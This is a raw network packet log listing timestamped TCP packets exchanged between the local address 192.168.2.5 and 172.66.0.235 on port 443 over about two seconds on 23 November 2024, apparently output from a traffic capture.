Nov 23, 2024 13:37:56.828820944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.828859091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.831254959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.831270933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.831334114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:56.831342936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:56.831382990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.007914066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.007935047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.008033991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.008104086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.008196115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.009893894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.009910107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.009963989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.009979963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.010056973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.012337923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.012353897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.012433052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.012433052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.012451887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.012509108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.014130116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.014144897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.014204025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.014218092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.014327049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.016594887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.016611099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.016665936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.016680956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.016793966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.019022942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.019038916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.019090891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.019104958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.019275904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.020736933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.020751953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.020808935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.020822048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.020912886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.023216009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.023230076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.023287058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.023299932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.023350954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.199918032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.199944019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.200098991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.200124979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.200208902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.202045918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.202063084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.202110052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.202125072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.202152967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.202188969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.204231977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.204252005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.204302073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.204322100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.204346895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.204384089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.205988884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.206006050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.206084013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.206099033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.206166029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.208476067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.208492994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.208549976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.208563089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.208627939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.210813999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.210830927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.210911989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.210923910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.210979939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.213607073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.213629007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.213666916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.213700056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.213727951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.213748932 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.215197086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.215215921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.215275049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.215289116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.215359926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.261929035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.393559933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.393589020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.393644094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.393676043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.393697977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.393719912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.393819094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.393841028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.393868923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.393877029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.393901110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.393918037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.396138906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.396162033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.396192074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.396199942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.396224976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.396235943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.398611069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.398632050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.398657084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.398663998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.398691893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.398703098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.400327921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.400347948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.400377035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.400392056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.400417089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.400434017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.402800083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.402822018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.402848959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.402854919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.402882099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.402899981 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.405237913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.405261040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.405287027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.405294895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.405317068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.405329943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.407067060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.407093048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.407119989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.407126904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.407150030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.407166958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.586183071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.586226940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.586251020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.586272001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.586288929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.586308002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.588346958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.588366032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.588403940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.588411093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.588440895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.588455915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.590538025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.590557098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.590598106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.590605974 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.590631962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.590647936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.592935085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.592952013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.592983007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.592991114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.593018055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.593034983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.594949007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.594964981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.595009089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.595016003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.595041037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.595057011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.597222090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.597239017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.597294092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.597309113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.597347975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.599684954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.599701881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.599754095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.599761963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.599801064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.601557970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.601574898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.601636887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.601644993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.601682901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.778384924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.778407097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.778462887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.778496981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.778537035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.780381918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.780396938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.780436039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.780445099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.780488968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.782921076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.782937050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.782978058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.782987118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.783026934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.785129070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.785141945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.785180092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.785191059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.785232067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.787147045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.787162066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.787198067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.787209988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.787250042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.789505959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.789520979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.789558887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.789568901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.789608955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.790930033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.791749954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.791765928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.791794062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.791802883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.791842937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.791865110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.793756008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.793771982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.793802023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.793809891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.793834925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.793852091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.967947960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.967982054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.968048096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.968080997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.968100071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.968127012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.970012903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.970030069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.970094919 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.970104933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.970144987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.972166061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.972198963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.972234964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.972243071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.972274065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.972294092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.974553108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.974570036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.974621058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.974628925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.974654913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.974673033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.976397991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.976416111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.976475000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.976483107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.976537943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.981817007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.981834888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.981890917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.981903076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.981941938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.981970072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.981987000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.982037067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.982044935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.982089043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.984112024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.984128952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.984184980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:57.984194040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:57.984232903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.159893990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.159925938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.159977913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.160007954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.160034895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.160054922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.161878109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.161899090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.161946058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.161958933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.162017107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.162017107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.164369106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.164390087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.164447069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.164460897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.164514065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.166498899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.166522980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.166563988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.166579008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.166605949 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.166625977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.168351889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.168373108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.168411970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.168425083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.168452024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.168469906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.170684099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.170703888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.170746088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.170758963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.170785904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.170806885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.173122883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.173142910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.173185110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.173198938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.173227072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.173245907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.174948931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.174969912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.175024033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.175039053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.175092936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.175092936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.175631046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.175684929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.352380991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.352407932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.352443933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.352469921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.352502108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.352524996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.354552031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.354574919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.354610920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.354624033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.354649067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.354666948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.356977940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.356997013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.357036114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.357048988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.357080936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.357100010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.358783007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.358803034 CET	443	49704	172.66.0.235	192.168.2.5
